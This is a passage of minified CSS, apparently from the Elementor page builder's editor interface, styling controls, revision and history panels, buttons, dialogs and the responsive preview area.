.e-input-style{border-start-end-radius:0;border-end-end-radius:0}.elementor-control-type-url.elementor-control-dynamic-value .elementor-control-url-more{border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:var(--e-a-border-radius)}.elementor-control-type-url .elementor-control-url-more{display:flex;align-items:center;justify-content:center;flex-shrink:0;border:var(--e-a-border-bold);color:currentColor;background-color:transparent;border-inline-start-width:0;cursor:pointer}.elementor-control-type-url .elementor-control-url-more i{font-size:12px}.elementor-control-type-url .elementor-control-url-more-options{display:none;padding-block-start:10px}.elementor-control-type-url .elementor-control-url-more-options .elementor-control-field-description{margin-block-start:10px}.elementor-control-type-url .elementor-control-url-more:hover{color:var(--e-a-color-txt-hover)}.elementor-control-type-url .elementor-control-url-more:focus{color:var(--e-a-color-txt-active);border-color:var(--e-a-border-color-focus)}.elementor-control-type-url .elementor-control-url-option{display:flex;align-items:center}.elementor-control-type-url .elementor-control-url-option:not(:last-child){padding-block-end:10px}.elementor-control-type-url .elementor-control-url-option input,.elementor-control-type-url .elementor-control-url-option label{cursor:pointer}.elementor-control-type-url .elementor-control-url-autocomplete-spinner{display:none;position:absolute;top:5px;right:0;width:10px;height:10px;font-size:10px;color:var(--e-a-color-txt-disabled)}.elementor-control-type-url .elementor-control-url__custom-attributes label{font-size:var(--control-title-size)}.elementor-control-type-url .elementor-control-url__custom-attributes input{width:100%;margin-block-start:10px}.elementor-control-type-url .elementor-input:focus~div{border-color:var(--e-a-border-color-focus)}.elementor-autocomplete-menu{position:absolute;background:var(--e-a-bg-default);border:var(--e-a-border);margin:0;list-style:none;padding:4px 0;height:auto;width:100%;min-width:260px;max-width:300px;max-height:200px;overflow-y:auto;border-radius:3px;transition:var(--e-a-transition-hover);cursor:default;z-index:1}.elementor-autocomplete-menu .ui-menu-item{display:flex;justify-content:space-between;align-self:baseline;padding:5px 8px;font-size:12px;width:100%;line-height:1.2;cursor:pointer}.elementor-autocomplete-menu .ui-menu-item.ui-state-active,.elementor-autocomplete-menu .ui-menu-item.ui-state-focus,.elementor-autocomplete-menu .ui-menu-item.ui-state-hover{background:var(--e-a-bg-hover)}.elementor-autocomplete-menu .elementor-autocomplete-item-info{font-size:10px;padding-block-start:2px}.elementor-control-type-wp_widget .widget-inside{line-height:2;background-color:inherit;display:block}.elementor-control-type-wp_widget .quicktags-toolbar input{width:auto}.elementor-control-type-wysiwyg *{box-sizing:content-box}.elementor-control-type-wysiwyg .wp-editor-container{border:var(--e-a-border)}.elementor-control-type-wysiwyg .wp-editor-tabs{border:var(--e-a-border-bold);border-block-end:none;border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:0;border-end-start-radius:0}.elementor-control-type-wysiwyg .wp-editor-tabs button:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-wysiwyg #insert-media-button{height:auto;line-height:24px;font-size:10px;color:var(--e-a-color-txt);border-color:var(--e-a-border-color-bold);background-color:var(--e-a-bg-default);min-height:0}.elementor-control-type-wysiwyg .ed_button{height:22px;width:auto}.elementor-control-type-wysiwyg .wp-media-buttons-icon{height:14px;margin:0}.elementor-control-type-wysiwyg .wp-media-buttons-icon:before{font-size:14px}.elementor-control-type-wysiwyg .wp-switch-editor{position:static;border:none;margin:0;color:var(--e-a-color-txt);font-size:10px;padding:3px 9px 4px}.elementor-control-type-wysiwyg .switch-html{border:solid var(--e-a-border-color-bold);border-width:0 1px}.elementor-control-type-wysiwyg .html-active .switch-tmce{background-color:transparent}.elementor-control-type-wysiwyg .html-active .switch-html,.elementor-control-type-wysiwyg .tmce-active .switch-tmce{background-color:var(--e-a-bg-active)}.elementor-control-type-wysiwyg .tmce-active .switch-html{background-color:transparent}.elementor-control-type-wysiwyg .mce-toolbar-grp,.elementor-control-type-wysiwyg .mce-toolbar .mce-btn-group .mce-btn.mce-listbox,.elementor-control-type-wysiwyg .quicktags-toolbar{background-color:var(--e-a-bg-default)}.elementor-control-type-wysiwyg .mce-toolbar .mce-btn-group .mce-btn.mce-listbox button{color:var(--e-a-color-txt)}.elementor-control-type-wysiwyg .mce-toolbar-grp>div{padding:0 3px}.elementor-control-type-wysiwyg .elementor-wp-editor{box-sizing:border-box}.elementor-control-type-wysiwyg .mce-ico{color:var(--e-a-color-txt);font-size:16px}.elementor-control-type-wysiwyg .mce-btn-group .mce-btn.mce-active,.elementor-control-type-wysiwyg .mce-btn-group .mce-btn:active,.elementor-control-type-wysiwyg .mce-btn-group .mce-btn:hover{color:var(--e-a-color-txt-active);background:var(--e-a-bg-hover);border-color:var(--e-a-border-color);box-shadow:none}.elementor-control-type-wysiwyg .mce-btn-group .mce-btn.mce-active i,.elementor-control-type-wysiwyg .mce-btn-group .mce-btn:active i,.elementor-control-type-wysiwyg .mce-btn-group .mce-btn:hover i{color:var(--e-a-color-txt-active)}.elementor-control-type-wysiwyg .mce-path{padding:5px 10px}.elementor-control-type-wysiwyg .mce-path-item{font-size:12px;color:var(--e-a-color-txt)}.elementor-control-type-wysiwyg .mce-top-part:before{box-shadow:none}.elementor-control-type-wysiwyg .elementor-control-dynamic-switcher{border:none}@media screen and (prefers-color-scheme:dark){#wp-link-wrap{color-scheme:light;--e-a-color-txt:#515962;--e-a-bg-default:#fff;--e-a-border-color-bold:#d5d8dc;--e-a-color-primary-bold:#d004d4}#wp-link{color:var(--e-a-color-txt)}#wp-link input{background-color:var(--e-a-bg-default)}#wp-link input,#wp-link input[type=checkbox]{border-color:var(--e-a-border-color-bold)}#wp-link input[type=checkbox]:checked{background:var(--e-a-color-primary-bold)}#wp-link input.button-primary{background:#2271b1;border-color:#2271b1;color:#fff}}#elementor-mode-switcher{--e-a-mode-switcher-width:15px;--e-a-mode-switcher-height:50px;--e-a-mode-switcher-icon-size:15px;position:absolute;left:100%;top:50%;transform:translateY(-50%);background-color:var(--e-a-bg-default);box-shadow:3px 1px 3px rgba(0,0,0,.05);transition:opacity .3s}#elementor-mode-switcher:hover{background-color:var(--e-a-bg-hover)}#elementor-mode-switcher:focus-within{background-color:var(--e-a-bg-active)}.e-panel-block-interactions #elementor-mode-switcher{opacity:0;pointer-events:none}#elementor-mode-switcher-preview i{display:flex;flex-direction:column;justify-content:center;width:var(--e-a-mode-switcher-width);height:var(--e-a-mode-switcher-height);font-size:var(--e-a-mode-switcher-icon-size);cursor:pointer}#elementor-mode-switcher-preview-input{display:none}.elementor-revision-item__wrapper{display:flex;align-items:center;text-align:start;width:100%;border:var(--e-a-border);border-radius:var(--e-a-border-radius);padding:10px 15px;margin-block-end:10px;font-size:11px;transition:var(--e-a-transition-hover);background-color:transparent}.elementor-revision-item__wrapper:focus,.elementor-revision-item__wrapper:hover{background-color:var(--e-a-bg-hover)}.elementor-revision-item-loading .elementor-revision-item__tools-current,.elementor-revision-item:not(.elementor-revision-item-loading) .elementor-revision-item__tools-spinner{display:none}.elementor-revision-item__gravatar{border-radius:50%;overflow:hidden}.elementor-revision-item__gravatar img{display:block}.elementor-revision-item__details{padding-inline-start:15px;flex-grow:1;cursor:pointer}.elementor-revision-meta{padding-block-start:5px;font-size:10px;font-weight:700}.elementor-revision-current-preview .elementor-revision-item__wrapper{border-color:var(--e-a-border-color-accent);background-color:var(--e-a-bg-active)}#elementor-panel-revisions-loading{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}#elementor-panel-revisions-loading .eicon-loading{font-size:50px}.elementor-panel-revisions-buttons{display:flex;justify-content:space-between;padding:15px 20px;border-block-end:var(--e-a-border)}.elementor-history-item{display:flex;align-items:center;text-align:start;border:var(--e-a-border);border-radius:var(--e-a-border-radius);padding:10px 15px;margin-block-end:10px;width:100%;font-size:11px;line-height:1.4;background-color:transparent;cursor:pointer;transition:var(--e-a-transition-hover)}.elementor-history-item:focus:not(.elementor-history-item-current),.elementor-history-item:hover:not(.elementor-history-item-current){background-color:var(--e-a-bg-hover);color:var(--e-a-txt-color-hover)}.elementor-history-item:focus:not(.elementor-history-item-current) .elementor-history-item__icon .eicon:before,.elementor-history-item:hover:not(.elementor-history-item-current) .elementor-history-item__icon .eicon:before{content:"\e924"}.elementor-history-item-current{border-color:var(--e-a-border-color-accent);background-color:var(--e-a-bg-active);color:var(--e-a-txt-color-active)}.elementor-history-item-current .elementor-history-item__icon .eicon:before,.elementor-history-item-current:focus .elementor-history-item__icon .eicon:before,.elementor-history-item-current:hover .elementor-history-item__icon .eicon:before{content:"\e90e"}.elementor-history-item__details{width:95%}.elementor-history-item__title{font-weight:700}.elementor-history-item__action,.elementor-history-item__subtitle{font-weight:lighter}.elementor-history-item__action{font-style:italic;text-decoration:underline}.elementor-history-revisions-message{font-size:11px;text-align:center;padding-block-start:5px}#elementor-panel-history{padding:20px;padding-block-end:15px}#elementor-panel-history.elementor-empty .elementor-history-revisions-message{padding-block-start:20px}#elementor-panel-history:not(.elementor-empty){margin-block-start:10px}#elementor-panel-history-no-items,#elementor-panel-revisions-no-revisions{text-align:center}#elementor-panel-history-no-items .elementor-nerd-box-icon,#elementor-panel-revisions-no-revisions .elementor-nerd-box-icon{margin-block-start:20px}.e-control-display-conditions-promotion__wrapper{display:flex;justify-content:space-between}.e-control-display-conditions-promotion__wrapper:hover .eicon-lock.e-control-display-conditions-promotion{color:var(--e-a-color-accent)}.e-control-display-conditions-promotion__description{display:flex;align-self:center}.e-control-display-conditions-promotion__text{display:inline-block}.e-control-display-conditions-promotion__lock-wrapper{width:2.5rem;display:flex;justify-content:center;align-items:center}.e-control-display-conditions-promotion.eicon-flow{align-self:flex-end;cursor:pointer;border:var(--e-a-border-bold);border-radius:var(--e-a-border-radius);padding:5px}.e-control-display-conditions-promotion.eicon-flow.filled{background-color:var(--e-a-bg-active);color:#e73cf6}.e-control-motion-effects-promotion__wrapper:hover .eicon-lock{color:var(--e-a-color-accent)}.e-control-motion-effects-promotion__wrapper .select-promotion{display:flex;flex-direction:column;justify-content:center;padding-inline-start:5px;padding-inline-end:20px;cursor:pointer;height:27px;width:100%;color:var(--e-a-color-txt);border-radius:var(--e-a-border-radius);background-color:var(--e-a-bg-default);box-shadow:none;border:var(--e-a-border-bold);font-size:var(--control-title-size)}.e-control-motion-effects-promotion__lock-wrapper{width:2.5rem;display:flex;justify-content:center;align-items:center}.e-link-promotion{font-family:Roboto,sans-serif;font-weight:500;color:#93003f}.e-link-promotion:hover{color:#93003f}.elementor-panel #elementor-panel-header #elementor-panel-header-kit-back,.elementor-panel #elementor-panel-header #elementor-panel-header-kit-close{display:none}.elementor-editor-kit .elementor-panel #elementor-panel-header #elementor-panel-header-kit-back,.elementor-editor-kit .elementor-panel #elementor-panel-header #elementor-panel-header-kit-close{display:flex}body:not(.e-routes-has-history) #elementor-panel-header-kit-back{pointer-events:none;visibility:hidden}.elementor-editor-kit .elementor-panel #elementor-panel-page-settings .elementor-panel-navigation{display:none}.elementor-editor-kit .elementor-panel #elementor-panel-page-menu{padding:25px 15px 0}.elementor-editor-kit #elementor-panel-footer-navigator,.elementor-editor-kit #elementor-panel-footer-sub-menu-item-save-template,.elementor-editor-kit #elementor-panel-header-add-button,.elementor-editor-kit #elementor-panel-header-menu-button{display:none}.elementor-control-type-global-style-repeater .elementor-repeater-fields{margin-block-end:15px;position:relative}.elementor-control-type-global-style-repeater .elementor-repeater-fields.ui-sortable-helper{background-color:var(--e-a-bg-default)}.elementor-control-type-global-style-repeater .elementor-repeater-row-controls{display:flex;align-items:center}.elementor-control-type-global-style-repeater .elementor-repeater-row-tool{cursor:pointer;color:var(--e-a-color-txt);background-color:transparent;border:none;padding:5px}.elementor-control-type-global-style-repeater .elementor-repeater-row-tool:focus,.elementor-control-type-global-style-repeater .elementor-repeater-row-tool:hover{color:var(--e-a-color-txt-hover)}.elementor-control-type-global-style-repeater .elementor-control{padding:0}.elementor-control-type-global-style-repeater .elementor-control-title{flex-grow:1}.elementor-control-type-global-style-repeater .elementor-control-title input{max-width:135px}.elementor-control-type-global-style-repeater .elementor-control-title input:not(:focus){background:none;border:none}.elementor-control-type-global-style-repeater .elementor-control-input-wrapper{display:flex;align-items:center;min-width:81px}.elementor-control-type-global-style-repeater .elementor-control-input-wrapper:hover .e-global-colors__color-value,.elementor-control-type-global-style-repeater .elementor-control-input-wrapper:not(:hover) .elementor-repeater-tool-remove,.elementor-control-type-global-style-repeater .elementor-control-input-wrapper:not(:hover) .elementor-repeater-tool-remove--disabled,.elementor-control-type-global-style-repeater .elementor-control-input-wrapper:not(:hover) .elementor-repeater-tool-sort{display:none}.elementor-control-type-global-style-repeater .elementor-repeater-row-controls>.elementor-control>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{margin-block-start:0}.elementor-control-type-global-style-repeater .elementor-controls-popover{align-self:end;margin-block-start:35px;top:0;width:100%}.elementor-control-type-global-style-repeater .elementor-controls-popover:before{right:5px}.elementor-control-type-global-style-repeater .elementor-controls-popover .elementor-control{padding:0 20px 15px}.elementor-control-type-global-style-repeater .elementor-controls-popover .elementor-control-title{flex-grow:0}.elementor-control-type-global-style-repeater .elementor-button-wrapper{text-align:center;border-block-start:var(--e-a-border);padding-block-start:15px}.elementor-control-type-global-style-repeater .elementor-control-popover-toggle-toggle-label,.elementor-control-type-global-style-repeater .pickr{margin-inline-start:5px}.elementor-control-type-global-style-repeater .e-sortable-placeholder{background-color:var(--e-a-color-info);opacity:.9;width:100%;margin:8px 0;height:2px}.elementor-control-system_colors,.elementor-control-system_typography{padding-block-end:0}.e-global-colors__color-value{font-size:10px;padding:0 5px;text-align:end;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}@keyframes load{0%{opacity:.3}50%{opacity:1}to{opacity:.3}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes mover{0%{transform:translateY(0)}to{transform:translateY(-5px)}}@keyframes slideDown{0%{transform:translateY(-30px)}to{transform:translateY(0)}}.e-btn,.elementor-button{font-size:12px;font-weight:500;line-height:1.2;padding:8px 16px;outline:none;border:none;border-radius:var(--e-a-border-radius);background-color:var(--e-a-btn-bg);color:var(--e-a-btn-color-invert);transition:var(--e-a-transition-hover)}.e-btn:hover,.elementor-button:hover{border:none}.e-btn:focus,.e-btn:hover,.elementor-button:focus,.elementor-button:hover{background-color:var(--e-a-btn-bg-hover);color:var(--e-a-btn-color-invert)}.e-btn:active,.elementor-button:active{background-color:var(--e-a-btn-bg-active)}.e-btn:not([disabled]),.elementor-button:not([disabled]){cursor:pointer}.e-btn:disabled,.elementor-button:disabled{background-color:var(--e-a-btn-bg-disabled);color:var(--e-a-btn-color-disabled)}.e-btn:not(.elementor-button-state) .elementor-state-icon,.elementor-button:not(.elementor-button-state) .elementor-state-icon{display:none}.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel,.e-btn.e-btn-txt,.elementor-button.e-btn-txt{background:transparent;color:var(--e-a-color-txt)}.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:hover,.e-btn.e-btn-txt:focus,.e-btn.e-btn-txt:hover,.elementor-button.e-btn-txt:focus,.elementor-button.e-btn-txt:hover{background:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:disabled,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:disabled,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:disabled,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:disabled,.e-btn.e-btn-txt:disabled,.elementor-button.e-btn-txt:disabled{background:transparent;color:var(--e-a-color-txt-disabled)}.e-btn.e-btn-txt-border,.elementor-button.e-btn-txt-border{border:1px solid var(--e-a-color-txt-muted)}.e-btn.e-success,.e-btn.elementor-button-success,.elementor-button.e-success,.elementor-button.elementor-button-success{background-color:var(--e-a-btn-bg-success)}.e-btn.e-success:focus,.e-btn.e-success:hover,.e-btn.elementor-button-success:focus,.e-btn.elementor-button-success:hover,.elementor-button.e-success:focus,.elementor-button.e-success:hover,.elementor-button.elementor-button-success:focus,.elementor-button.elementor-button-success:hover{background-color:var(--e-a-btn-bg-success-hover)}.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over,.e-btn.e-primary,.elementor-button.e-primary{background-color:var(--e-a-btn-bg-primary);color:var(--e-a-btn-color)}.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:hover,.e-btn.e-primary:focus,.e-btn.e-primary:hover,.elementor-button.e-primary:focus,.elementor-button.e-primary:hover{background-color:var(--e-a-btn-bg-primary-hover);color:var(--e-a-btn-color)}.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel,.e-btn.e-primary.e-btn-txt,.elementor-button.e-primary.e-btn-txt{background:transparent;color:var(--e-a-color-primary-bold)}.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:hover,.e-btn.e-primary.e-btn-txt:focus,.e-btn.e-primary.e-btn-txt:hover,.elementor-button.e-primary.e-btn-txt:focus,.elementor-button.e-primary.e-btn-txt:hover{background:var(--e-a-bg-primary)}.e-btn.e-accent,.e-btn.go-pro,.elementor-button.e-accent,.elementor-button.go-pro{background-color:var(--e-a-btn-bg-accent)}.e-btn.e-accent:focus,.e-btn.e-accent:hover,.e-btn.go-pro:focus,.e-btn.go-pro:hover,.elementor-button.e-accent:focus,.elementor-button.e-accent:hover,.elementor-button.go-pro:focus,.elementor-button.go-pro:hover{background-color:var(--e-a-btn-bg-accent-hover)}.e-btn.e-accent:active,.e-btn.go-pro:active,.elementor-button.e-accent:active,.elementor-button.go-pro:active{background-color:var(--e-a-btn-bg-accent-active)}.e-btn.e-info,.e-btn.elementor-button-info,.elementor-button.e-info,.elementor-button.elementor-button-info{background-color:var(--e-a-btn-bg-info)}.e-btn.e-info:focus,.e-btn.e-info:hover,.e-btn.elementor-button-info:focus,.e-btn.elementor-button-info:hover,.elementor-button.e-info:focus,.elementor-button.e-info:hover,.elementor-button.elementor-button-info:focus,.elementor-button.elementor-button-info:hover{background-color:var(--e-a-btn-bg-info-hover)}.e-btn.e-warning,.e-btn.elementor-button-warning,.elementor-button.e-warning,.elementor-button.elementor-button-warning{background-color:var(--e-a-btn-bg-warning)}.e-btn.e-warning:focus,.e-btn.e-warning:hover,.e-btn.elementor-button-warning:focus,.e-btn.elementor-button-warning:hover,.elementor-button.e-warning:focus,.elementor-button.e-warning:hover,.elementor-button.elementor-button-warning:focus,.elementor-button.elementor-button-warning:hover{background-color:var(--e-a-btn-bg-warning-hover)}.e-btn.e-danger,.e-btn.elementor-button-danger,.elementor-button.e-danger,.elementor-button.elementor-button-danger{background-color:var(--e-a-btn-bg-danger)}.e-btn.e-danger:focus,.e-btn.e-danger:hover,.e-btn.elementor-button-danger:focus,.e-btn.elementor-button-danger:hover,.elementor-button.e-danger:focus,.elementor-button.e-danger:hover,.elementor-button.elementor-button-danger:focus,.elementor-button.elementor-button-danger:hover{background-color:var(--e-a-btn-bg-danger-hover)}.e-btn i,.elementor-button i{margin-inline-end:5px}body{--e-preview-width:calc(100% - var(--e-editor-panel-width, 300px))}body.elementor-navigator-docked{--e-preview-width:calc(100% - var(--e-editor-panel-width, 300px) - var(--e-editor-navigator-width, 0px))}body.elementor-device-desktop #elementor-preview{overflow-y:hidden;align-items:flex-start}body:not(.elementor-device-desktop) body{overflow-y:auto}#elementor-preview{background-color:#333;height:100%;border:0;width:var(--e-preview-width);display:flex;flex-direction:column;justify-content:flex-start;align-items:center;position:relative}#elementor-preview-responsive-wrapper{transform-origin:top center;padding:20px;transform:scale(var(--e-preview-scale,1))}.elementor-device-desktop #elementor-preview-responsive-wrapper{min-width:1025px;width:100%;height:100%;padding:0;position:relative}body.e-is-device-mode:not(.elementor-device-desktop) #elementor-preview-responsive-wrapper{width:var(--e-editor-preview-width);height:var(--e-editor-preview-height);margin:0 max((100vw - var(--e-editor-panel-width) - var(--e-editor-preview-width))/2,20px);box-sizing:content-box;position:relative;max-height:calc(100vh - 80px)}body.e-is-device-mode:not(.elementor-device-desktop) #elementor-preview-responsive-wrapper .ui-resizable-handle{display:flex!important}#elementor-preview-responsive-wrapper:not(.ui-resizable-resizing){transition:.3s ease-in-out}#elementor-preview-responsive-wrapper .ui-resizable-handle{top:0}#elementor-preview-responsive-wrapper .ui-resizable-handle.ui-resizable-s{top:auto;bottom:0}#elementor-preview-responsive-wrapper .ui-resizable-n,#elementor-preview-responsive-wrapper .ui-resizable-s{align-items:center;justify-content:center;height:20px}#elementor-preview-responsive-wrapper .ui-resizable-n:before,#elementor-preview-responsive-wrapper .ui-resizable-s:before{content:"";display:block;background-color:hsla(0,0%,100%,.2);width:50px;height:4px;border-radius:3px;transition:all .2s ease-in-out}#elementor-preview-responsive-wrapper .ui-resizable-n:hover:before,#elementor-preview-responsive-wrapper 